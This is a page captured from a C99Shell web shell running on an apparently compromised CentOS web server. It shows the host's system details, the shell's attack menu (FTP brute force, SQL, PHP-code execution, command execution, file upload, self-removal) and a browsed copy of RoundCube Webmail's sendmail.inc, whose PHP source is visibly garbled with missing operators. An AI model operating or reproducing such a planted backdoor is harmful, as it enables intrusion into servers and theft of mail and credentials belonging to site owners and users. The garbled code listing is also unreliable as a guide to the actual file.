!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/steps/mail/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sendmail.inc (19 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/steps/mail/sendmail.inc                                       |
 |                                                                       |
 | This file is part of the RoundCube Webmail client                     |
 | Copyright (C) 2005-2009, RoundCube Dev. - Switzerland                 |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Compose a new mail message with all headers and attachments         |
 |   and send it using the PEAR::Net_SMTP class or with PHP mail()       |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+

 $Id: sendmail.inc 2713 2009-07-06 09:13:10Z alec $

*/


// remove all scripts and act as called in frame
$OUTPUT->reset();
$OUTPUT->framed TRUE;

$savedraft = !empty($_POST['_draft']) ? TRUE FALSE;

/****** checks ********/

if (!isset($_SESSION['compose']['id'])) {
  
raise_error(array('code' => 500'type' => 'smtp''file' => __FILE__'message' => "Invalid compose ID"), truefalse);
  
console("Sendmail error"$_SESSION['compose']);
  
$OUTPUT->show_message("An internal error occured. Please try again."'error');
  
$OUTPUT->send('iframe');
}

if (!
$savedraft) {
  if (empty(
$_POST['_to']) && empty($_POST['_cc']) && empty($_POST['_bcc'])
    && empty(
$_POST['_subject']) && $_POST['_message']) {
    
$OUTPUT->show_message('sendingfailed''error');
    
$OUTPUT->send('iframe');
  }

  if(!empty(
$CONFIG['sendmail_delay'])) {
    
$wait_sec time() - intval($CONFIG['sendmail_delay']) - intval($CONFIG['last_message_time']);
    if(
$wait_sec 0) {
      
$OUTPUT->show_message('senttooquickly''error', array('sec' => $wait_sec * -1));
      
$OUTPUT->send('iframe');
    }
  }
}


/****** message sending functions ********/

// encrypt parts of the header
function rcmail_encrypt_header($what)
{
  global 
$CONFIG$RCMAIL;
  if (!
$CONFIG['http_received_header_encrypt'])
  {
    return 
$what;
  }
  return 
$RCMAIL->encrypt($what);
}

// get identity record
function rcmail_get_identity($id)
  {
  global 
$USER$OUTPUT;
  
  if (
$sql_arr $USER->get_identity($id))
    {
    
$out $sql_arr;
    
$out['mailto'] = $sql_arr['email'];
    
    
// Special chars as defined by RFC 822 need to in quoted string (or escaped).
    
if (preg_match('/[\(\)\<\>\\\.\[\]@,;:"]/'$sql_arr['name']))
      
$name '"' addcslashes($sql_arr['name'], '"') . '"';
    else
      
$name $sql_arr['name'];

    
$out['string'] = rcube_charset_convert($nameRCMAIL_CHARSET$OUTPUT->get_charset());
    if (
$sql_arr['email'])
      
$out['string'] .= ' <' $sql_arr['email'] . '>';

    return 
$out;
    }

  return 
FALSE;  
  }

/**
 * go from this:
 * <img src=".../tiny_mce/plugins/emotions/images/smiley-cool.gif" border="0" alt="Cool" title="Cool" />
 *
 * to this:
 *
 * <IMG src="cid:smiley-cool.gif"/>
 * ...
 * ------part...
 * Content-Type: image/gif
 * Content-Transfer-Encoding: base64
 * Content-ID: <smiley-cool.gif>
 */
function rcmail_attach_emoticons(&$mime_message)
{
  global 
$CONFIG;

  
$body $mime_message->getHtmlBody();

  
// remove any null-byte characters before parsing
  
$body preg_replace('/\x00/'''$body);
  
  
$searchstr 'program/js/tiny_mce/plugins/emotions/img/';
  
$offset 0;

  
// keep track of added images, so they're only added once
  
$included_images = array();

  if (
preg_match_all('# src=[\'"]([^\'"]+)#'$body$matchesPREG_OFFSET_CAPTURE)) {
    foreach (
$matches[1] as $m) {
      
// find emoticon image tags
      
if (preg_match('#'.$searchstr.'(.*)$#'$m[0], $imatches)) {
        
$image_name $imatches[1];

        
// sanitize image name so resulting attachment doesn't leave images dir
        
$image_name preg_replace('/[^a-zA-Z0-9_\.\-]/i'''$image_name);
        
$img_file INSTALL_PATH '/' $searchstr $image_name;

        if (! 
in_array($image_name$included_images)) {
          
// add the image to the MIME message
          
if(! $mime_message->addHTMLImage($img_file'image/gif'''true$image_name))
            
$OUTPUT->show_message("emoticonerror"'error');
          
array_push($included_images$image_name);
        }

        
$body substr_replace($body$img_file$m[1] + $offsetstrlen($m[0]));
        
$offset += strlen($img_file) - strlen($m[0]);
      }
    }
  }

  
$mime_message->setHTMLBody($body);

  return 
$body;
}

// parse email address input
function rcmail_email_input_format($mailto)
{
  
$regexp = array('/[,;]\s*[\r\n]+/''/[\r\n]+/''/[,;]\s*$/m''/;/''/(\S{1})(<\S+@\S+>)/U');
  
$replace = array(', '', '''',''\\1 \\2');

  
// replace new lines and strip ending ', ', make address input more valid
  
$mailto trim(preg_replace($regexp$replace$mailto));

  
$result = array();
  
$items rcube_explode_quoted_string(','$mailto);

  foreach(
$items as $item) {
    
$item trim($item);
    
// address in brackets without name (do nothing)
    
if (preg_match('/^<\S+@\S+>$/'$item)) {
      
$result[] = $item;
    
// address without brackets and without name (add brackets)
    
} else if (preg_match('/^\S+@\S+$/'$item)) {
      
$result[] = '<'.$item.'>';
    
// address with name (handle name)
    
} else if (preg_match('/\S+@\S+>*$/'$item$matches)) {
      
$address $matches[0];
      
$name str_replace($address''$item);
      
$name trim($name);
      if (
$name && ($name[0] != '"' || $name[strlen($name)-1] != '"')
          && 
preg_match('/[\(\)\<\>\\\.\[\]@,;:"]/'$name)) {
      
$name '"'.addcslashes($name'"').'"';
      }
      if (!
preg_match('/^<\S+@\S+>$/'$address))
        
$address '<'.$address.'>';

      
$result[] = $name.' '.$address;
    } else if (
trim($item)) {
      
// @TODO: handle errors
    
}
  }

  return 
implode(', '$result);
}

/****** compose message ********/

if (strlen($_POST['_draft_saveid']) > 3)
  
$olddraftmessageid get_input_value('_draft_saveid'RCUBE_INPUT_POST);

$message_id sprintf('<%s@%s>'md5(uniqid('rcmail'.rand(),true)), $RCMAIL->config->mail_domain($_SESSION['imap_host']));

// set default charset
$input_charset $OUTPUT->get_charset();
$message_charset = isset($_POST['_charset']) ? $_POST['_charset'] : $input_charset;

$mailto rcmail_email_input_format(get_input_value('_to'RCUBE_INPUT_POSTTRUE$message_charset));
$mailcc rcmail_email_input_format(get_input_value('_cc'RCUBE_INPUT_POSTTRUE$message_charset));
$mailbcc rcmail_email_input_format(get_input_value('_bcc'RCUBE_INPUT_POSTTRUE$message_charset));

if (empty(
$mailto) && !empty($mailcc)) {
  
$mailto $mailcc;
  
$mailcc null;
}
else if (empty(
$mailto))
  
$mailto 'undisclosed-recipients:;';

// get sender name and address
$from get_input_value('_from'RCUBE_INPUT_POSTtrue$message_charset);
$identity_arr rcmail_get_identity($from);

if (!
$identity_arr && ($from rcmail_email_input_format($from))) {
  if (
preg_match('/(\S+@\S+)/'$from$m))
    
$identity_arr['mailto'] = $m[1];
} else
  
$from $identity_arr['mailto'];

if (empty(
$identity_arr['string']))
  
$identity_arr['string'] = $from;

// compose headers array
$headers = array();

// if configured, the Received headers goes to top, for good measure
if ($CONFIG['http_received_header'])
{
  
$nldlm $RCMAIL->config->header_delimiter() . "\t";
  
$http_header 'from ';
  if (isset(
$_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
$http_header .= rcmail_encrypt_header(gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR'])) .
      
' [' rcmail_encrypt_header($_SERVER['HTTP_X_FORWARDED_FOR']) . ']';
    
$http_header .= $nldlm ' via ';
  }
  
$http_header .= rcmail_encrypt_header(gethostbyaddr($_SERVER['REMOTE_ADDR'])) .
      
' [' rcmail_encrypt_header($_SERVER['REMOTE_ADDR']) .']';
  
$http_header .= $nldlm 'with ' $_SERVER['SERVER_PROTOCOL'] .
      
' ('.$_SERVER['REQUEST_METHOD'] . '); ' date('r');
  
$http_header wordwrap($http_header69$nldlm);
  
$headers['Received'] = $http_header;
}

$headers['Date'] = date('r');
$headers['From'] = rcube_charset_convert($identity_arr['string'], RCMAIL_CHARSET$message_charset);
$headers['To'] = $mailto;

// additional recipients
if (!empty($mailcc))
  
$headers['Cc'] = $mailcc;

if (!empty(
$mailbcc))
  
$headers['Bcc'] = $mailbcc;
  
if (!empty(
$identity_arr['bcc']))
  
$headers['Bcc'] = ($headers['Bcc'] ? $headers['Bcc'].', ' '') . $identity_arr['bcc'];

// add subject
$headers['Subject'] = trim(get_input_value('_subject'RCUBE_INPUT_POSTTRUE$message_charset));

if (!empty(
$identity_arr['organization']))
  
$headers['Organization'] = $identity_arr['organization'];

if (!empty(
$_POST['_replyto']))
  
$headers['Reply-To'] = rcmail_email_input_format(get_input_value('_replyto'RCUBE_INPUT_POSTTRUE$message_charset));
else if (!empty(
$identity_arr['reply-to']))
  
$headers['Reply-To'] = $identity_arr['reply-to'];

if (!empty(
$_SESSION['compose']['reply_msgid']))
  
$headers['In-Reply-To'] = $_SESSION['compose']['reply_msgid'];

if (!empty(
$_SESSION['compose']['references']))
  
$headers['References'] = $_SESSION['compose']['references'];

if (!empty(
$_POST['_priority']))
  {
  
$priority intval($_POST['_priority']);
  
$a_priorities = array(1=>'highest'2=>'high'4=>'low'5=>'lowest');
  if (
$str_priority $a_priorities[$priority])
    
$headers['X-Priority'] = sprintf("%d (%s)"$priorityucfirst($str_priority));
  }

if (!empty(
$_POST['_receipt']))
  {
  
$headers['Return-Receipt-To'] = $identity_arr['string'];
  
$headers['Disposition-Notification-To'] = $identity_arr['string'];
  }

// additional headers
$headers['Message-ID'] = $message_id;
$headers['X-Sender'] = $from;

if (!empty(
$CONFIG['useragent']))
  
$headers['User-Agent'] = $CONFIG['useragent'];

$isHtmlVal strtolower(get_input_value('_is_html'RCUBE_INPUT_POST));
$isHtml = ($isHtmlVal == "1");

// fetch message body
$message_body get_input_value('_message'RCUBE_INPUT_POSTTRUE$message_charset);

if (!
$savedraft) {
  
// remove signature's div ID
  
if ($isHtml)
    
$message_body preg_replace('/\s*id="_rc_sig"/'''$message_body);

  
// generic footer for all messages
  
if (!empty($CONFIG['generic_message_footer'])) {
    
$footer file_get_contents(realpath($CONFIG['generic_message_footer']));
    
$footer rcube_charset_convert($footerRCMAIL_CHARSET$message_charset);
  }
}

// create extended PEAR::Mail_mime instance
$MAIL_MIME = new rcube_mail_mime($RCMAIL->config->header_delimiter());

// For HTML-formatted messages, construct the MIME message with both
// the HTML part and the plain-text part

if ($isHtml) {
  
$plugin $RCMAIL->plugins->exec_hook('outgoing_message_body', array('body' => $message_body'type' => 'html''message' => $MAIL_MIME));
  
$MAIL_MIME->setHTMLBody($plugin['body'] . ($footer "\r\n<pre>".$footer.'</pre>' ''));

  
// add a plain text version of the e-mail as an alternative part.
  
$h2t = new html2text($plugin['body'], falsetrue0);
  
$plainTextPart rc_wordwrap($h2t->get_text(), 75"\r\n") . ($footer "\r\n".$footer '');
  
$plainTextPart wordwrap($plainTextPart998"\r\n"true);
  if (!
strlen($plainTextPart)) {
    
// empty message body breaks attachment handling in drafts 
    
$plainTextPart "\r\n"
  }
  
$plugin $RCMAIL->plugins->exec_hook('outgoing_message_body', array('body' => $plainTextPart'type' => 'alternative''message' => $MAIL_MIME));
  
$MAIL_MIME->setTXTBody($plugin['body']);

  
// look for "emoticon" images from TinyMCE and copy into message as attachments
  
$message_body rcmail_attach_emoticons($MAIL_MIME);
}
else
  {
  
$message_body rc_wordwrap($message_body75"\r\n");
  if (
$footer)
    
$message_body .= "\r\n" $footer;
  
$message_body wordwrap($message_body998"\r\n"true);
  if (!
strlen($message_body)) { 
    
// empty message body breaks attachment handling in drafts 
    
$message_body "\r\n"
  }
  
$plugin $RCMAIL->plugins->exec_hook('outgoing_message_body', array('body' => $message_body'type' => 'plain''message' => $MAIL_MIME));
  
$MAIL_MIME->setTXTBody($plugin['body'], falsetrue);
}

// chose transfer encoding
$charset_7bit = array('ASCII''ISO-2022-JP''ISO-8859-1''ISO-8859-2''ISO-8859-15');
$transfer_encoding in_array(strtoupper($message_charset), $charset_7bit) ? '7bit' '8bit';

// add stored attachments, if any
if (is_array($_SESSION['compose']['attachments'])) {
  foreach (
$_SESSION['compose']['attachments'] as $id => $attachment) {
    
// This hook retrieves the attachment contents from the file storage backend
    
$attachment $RCMAIL->plugins->exec_hook('get_attachment'$attachment);

    
$dispurl '/\ssrc\s*=\s*[\'"]*\S+display-attachment\S+file=rcmfile' preg_quote($attachment['id']) . '[\s\'"]\s*/';
    
$message_body $MAIL_MIME->getHTMLBody();
    if (
$isHtml && (preg_match($dispurl$message_body) > 0)) {
      
$message_body preg_replace($dispurl' src="'.$attachment['name'].'" '$message_body);
      
$MAIL_MIME->setHTMLBody($message_body);
      
      if (
$attachment['data'])
        
$MAIL_MIME->addHTMLImage($attachment['data'], $attachment['mimetype'], $attachment['name'], false);
      else
        
$MAIL_MIME->addHTMLImage($attachment['path'], $attachment['mimetype'], $attachment['name'], true);
    }
    else {
      
$ctype str_replace('image/pjpeg''image/jpeg'$attachment['mimetype']); // #1484914
      
$file $attachment['data'] ? $attachment['data'] : $attachment['path'];

      
// .eml attachments send inline
      
$MAIL_MIME->addAttachment($file,
        
$ctype
        
$attachment['name'],
        (
$attachment['data'] ? false true),
        (
$ctype == 'message/rfc822' $transfer_encoding 'base64'),
        (
$ctype == 'message/rfc822' 'inline' 'attachment'),
        
$message_charset''''
        
$CONFIG['mime_param_folding'] ? 'quoted-printable' NULL,
        
$CONFIG['mime_param_folding'] == 'quoted-printable' NULL
      
);
    }
  }
}

// add submitted attachments
if (is_array($_FILES['_attachments']['tmp_name'])) {
  foreach (
$_FILES['_attachments']['tmp_name'] as $i => $filepath) {
    
$ctype $files['type'][$i];
    
$ctype str_replace('image/pjpeg''image/jpeg'$ctype); // #1484914
    
    
$MAIL_MIME->addAttachment($filepath$ctype$files['name'][$i], true,
      
$ctype == 'message/rfc822' $transfer_encoding 'base64',
      
'attachment'$message_charset''''
      
$CONFIG['mime_param_folding'] ? 'quoted-printable' NULL,
      
$CONFIG['mime_param_folding'] == 'quoted-printable' NULL
    
);
  }
}

// encoding settings for mail composing
$MAIL_MIME->setParam(array(
  
'text_encoding' => $transfer_encoding,
  
'html_encoding' => 'quoted-printable',
  
'head_encoding' => 'quoted-printable',
  
'head_charset'  => $message_charset,
  
'html_charset'  => $message_charset,
  
'text_charset'  => $message_charset,
));

$data $RCMAIL->plugins->exec_hook('outgoing_message_headers', array('headers' => $headers));
$headers $data['headers'];

// encoding subject header with mb_encode provides better results with asian characters
if (function_exists("mb_encode_mimeheader"))
{
  
mb_internal_encoding($message_charset);
  
$headers['Subject'] = mb_encode_mimeheader($headers['Subject'], $message_charset'Q');
  
mb_internal_encoding(RCMAIL_CHARSET);
}

// pass headers to message object
$MAIL_MIME->headers($headers);

// Begin SMTP Delivery Block 
if (!$savedraft)
{
  
// check for 'From' address (identity may be incomplete)
  
if ($identity_arr && !$identity_arr['mailto']) {
    
$OUTPUT->show_message('nofromaddress''error');
    
$OUTPUT->send('iframe'); 
  }

  
$sent rcmail_deliver_message($MAIL_MIME$from$mailto$smtp_error);
  
  
// return to compose page if sending failed
  
if (!$sent)
    {
    if (
$smtp_error)
      
$OUTPUT->show_message($smtp_error['label'], 'error'$smtp_error['vars']); 
    else
      
$OUTPUT->show_message('sendingfailed''error'); 
    
$OUTPUT->send('iframe');
    }

  
// save message sent time
  
if (!empty($CONFIG['sendmail_delay']))
    
$RCMAIL->user->save_prefs(array('last_message_time' => time()));
  
  
// set replied/forwarded flag
  
if ($_SESSION['compose']['reply_uid'])
    
$IMAP->set_flag($_SESSION['compose']['reply_uid'], 'ANSWERED'$_SESSION['compose']['mailbox']);
  else if (
$_SESSION['compose']['forward_uid'])
    
$IMAP->set_flag($_SESSION['compose']['forward_uid'], 'FORWARDED'$_SESSION['compose']['mailbox']);

// End of SMTP Delivery Block



// Determine which folder to save message
if ($savedraft)
  
$store_target $CONFIG['drafts_mbox'];
else    
  
$store_target = isset($_POST['_store_target']) ? get_input_value('_store_target'RCUBE_INPUT_POST) : $CONFIG['sent_mbox'];

if (
$store_target)
  {
  
// check if mailbox exists
  
if (!in_array_nocase($store_target$IMAP->list_mailboxes()))
    {
      
// folder may be existing but not subscribed (#1485241)
      
if (!in_array_nocase($store_target$IMAP->list_unsubscribed()))
        
$store_folder $IMAP->create_mailbox($store_targetTRUE);
      else if (
$IMAP->subscribe($store_target))
        
$store_folder TRUE;
    }
  else
    
$store_folder TRUE;
  
  
// append message to sent box
  
if ($store_folder)
    
$saved $IMAP->save_message($store_target$MAIL_MIME->getMessage());

  
// raise error if saving failed
  
if (!$saved)
    {
    
raise_error(array('code' => 800'type' => 'imap''file' => __FILE__,
                      
'message' => "Could not save message in $store_target"), TRUEFALSE);
    
    if (
$savedraft) {
      
$OUTPUT->show_message('errorsaving''error');
      
$OUTPUT->send('iframe');
      }
    }

  if (
$olddraftmessageid)
    {
    
// delete previous saved draft
    
$a_deleteid $IMAP->search($CONFIG['drafts_mbox'], 'HEADER Message-ID '.$olddraftmessageid);

    
$deleted $IMAP->delete_message($IMAP->get_uid($a_deleteid[0], $CONFIG['drafts_mbox']), $CONFIG['drafts_mbox']);

    
// raise error if deletion of old draft failed
    
if (!$deleted)
      
raise_error(array('code' => 800'type' => 'imap''file' => __FILE__,
                        
'message' => "Could not delete message from ".$CONFIG['drafts_mbox']), TRUEFALSE);
    }
  }

if (
$savedraft)
  {
  
$msgid strtr($message_id, array('>' => '''<' => ''));
  
  
// remember new draft-uid
  
$draftids $IMAP->search($CONFIG['drafts_mbox'], 'HEADER Message-ID '.$msgid);
  
$_SESSION['compose']['param']['_draft_uid'] = $IMAP->get_uid($draftids[0], $CONFIG['drafts_mbox']);

  
// display success
  
$OUTPUT->show_message('messagesaved''confirmation');

  
// update "_draft_saveid" and the "cmp_hash" to prevent "Unsaved changes" warning
  
$OUTPUT->command('set_draft_id'$msgid);
  
$OUTPUT->command('compose_field_hash'true);

  
// start the auto-save timer again
  
$OUTPUT->command('auto_save_start');

  
$OUTPUT->send('iframe');
  }
else
  {
  
rcmail_compose_cleanup();

  if (
$store_folder && !$saved)
    
$OUTPUT->command('sent_successfully''error'rcube_label('errorsavingsent'));
  else
    
$OUTPUT->command('sent_successfully''confirmation'rcube_label('messagesent'));
  
$OUTPUT->send('iframe');
  }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0052 ]--